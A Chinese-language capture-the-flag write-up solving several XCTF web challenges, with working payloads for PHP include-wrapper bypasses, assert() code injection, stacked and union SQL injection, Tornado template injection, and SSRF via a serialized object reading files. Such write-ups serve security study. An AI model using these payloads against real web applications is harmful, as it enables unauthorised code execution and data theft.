XCTF web进阶区wp（二）

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

strstr()：查找字符串首次出现的位置，返回字符串剩余部分，对大小写敏感

• PHP://input大小写绕过

  ?page=PHP://input，post传入<?php system("ls")?>

• data://伪协议

  data://text/plain;base64,xxxx(base64编码后的数据)

  payload:http://http://111.198.29.45:48331/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

ics-06

这题没什么意义，如果是注入那还好，可惜就是个id遍历

lottery

dirsearch扫描发现很多.git 文件，且robots协议禁止爬取.git文件，猜测.git源码泄露

GitHack还原源代码开始审计

function buy($req){
    require_registered();
    require_min_money(2);

    $money = $_SESSION['money'];
    $numbers = $req['numbers'];
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
    switch ($same_count) {
        case 2:
            $prize = 5;
            break;
        case 3:
            $prize = 20;
            break;
        case 4:
            $prize = 300;
            break;
        case 5:
            $prize = 1800;
            break;
        case 6:
            $prize = 200000;
            break;
        case 7:
            $prize = 5000000;
            break;
        default:
            $prize = 0;
            break;
    }
    $money += $prize - 2;
    $_SESSION['money'] = $money;
    response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

这里是一个php弱类型的比较漏洞，true=[1-9]，所以只需要传入一个数组元素都为true即可

多发几次钱够了就去买flag

PHP2

phps：通常用于提供给用户查看php代码

not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "

Access granted!
"; echo "

Key: xxxxxxx
"; } ?> Can you anthenticate to this website? 

url二次编码绕过，index.php?id=%2561%2564%256D%2569%256E

mfw

还是.git源码泄露

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

assert()函数会将读入的字符串当做PHP代码来执行，导致代码注入

先闭合strpos函数，再将后面的部分注释掉：page=').phpinfo();// ，得到回显

Payload：page=').system("cat templates/flag.php");//

web2

解密算法：

<?php
$a=" a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$a=str_rot13($a);
$a=strrev($a);
$a=base64_decode($a);
function decode233($str)
{
    $b="";
    for($test=0;$test<strlen($str);$test++)
    {
        $b=$b.(chr(ord($str[$test])-1));
    }
    return $b;
}

echo strrev(decode233($a));
?>

supersqli

过滤如下

堆叠注入

1';show tables;#

1';show columns from `1919810931114514`;#

先将select * from 1919810931114514 进行十六进制编码一下,再通过预处理语句

payload：1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

easytornado

render+tornado的python模板，哈希计算规则为md5(cookie_secret+md5(filename))

模板注入

error?msg={{handler.settings}}

哈希脚本

import hashlib

def md5value(s):
    md5 = hashlib.md5()
    md5.update(s.encode())
    return md5.hexdigest()

def mdfive2():
    filename = '/fllllllllllllag'
    cookie = r"ea7b9d19-b752-448f-96e2-bc83f302523a"
    print(md5value(cookie + md5value(filename)))

mdfive2()

fakebook

robots.txt中发现user.php.bak源码泄露

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

curl_exec()使用不当导致ssrf

通过注入可以得到数据库中存储的为序列化数组

view.php?no=-1 union/**/select 1,group_concat(data),3,4 from users#

file协议读取flag.php中的内容

Payload：view.php?no=-1++union++select++1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

base64解码得到flag

Cat

url传入%80后的字符会因为ascii编码不支持导致Django报错

结合php可以通过在参数中注入@读取文件

获取相关配置信息：?url=@/opt/api/api/settings.py

payload：?url=@/opt/api/database.sqlite3

搜索ctf得到